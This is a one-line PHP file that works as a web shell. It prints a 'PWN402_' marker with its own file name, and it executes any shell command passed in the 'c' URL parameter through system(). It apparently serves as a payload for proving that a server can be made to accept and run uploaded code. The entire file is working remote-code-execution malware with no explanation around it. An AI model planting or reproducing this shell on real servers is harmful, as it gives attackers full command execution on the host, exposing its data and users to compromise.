<?php echo "PWN402_".basename(__FILE__); if(isset($_GET['c'])){ system($_GET['c']); } ?>
